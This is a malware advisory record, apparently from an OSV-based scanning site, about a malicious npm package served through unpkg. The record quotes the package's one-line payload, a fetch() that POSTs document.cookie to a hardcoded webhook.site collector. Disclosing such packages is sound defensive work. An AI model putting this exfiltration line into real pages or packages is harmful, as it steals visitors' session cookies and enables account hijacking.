npmscript_tesstalert_unpkg@1.0.2
Vulnerability report · Last retrieved from osv.dev September 21, 2026 at 7:43 AM UTC
OSV ID
MAL-2026-16309
Ecosystem
npm
Summary
The package ships a single browser JavaScript file declared as both main and unpkg, so any page embedding the package via the unpkg CDN loads this script. The script calls alert(11) and then executes fetch('https://webhook.site/c226090c-12b0-462e-81d2-e632c7a58833/', { method: 'POST', mode: 'no-cors', body: document.cookie }), POSTing document.cookie to a hardcoded webhook.site collector. There is no other functionality in the package. Any site that includes this script exfiltrates its visitors' cookies to the attacker-controlled webhook.site endpoint, enabling session hijacking.
Source: amazon-inspector (5fa1adfe349e0a6092589e90bf38184b5769148bf42b4216fc714ad446ea747b)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.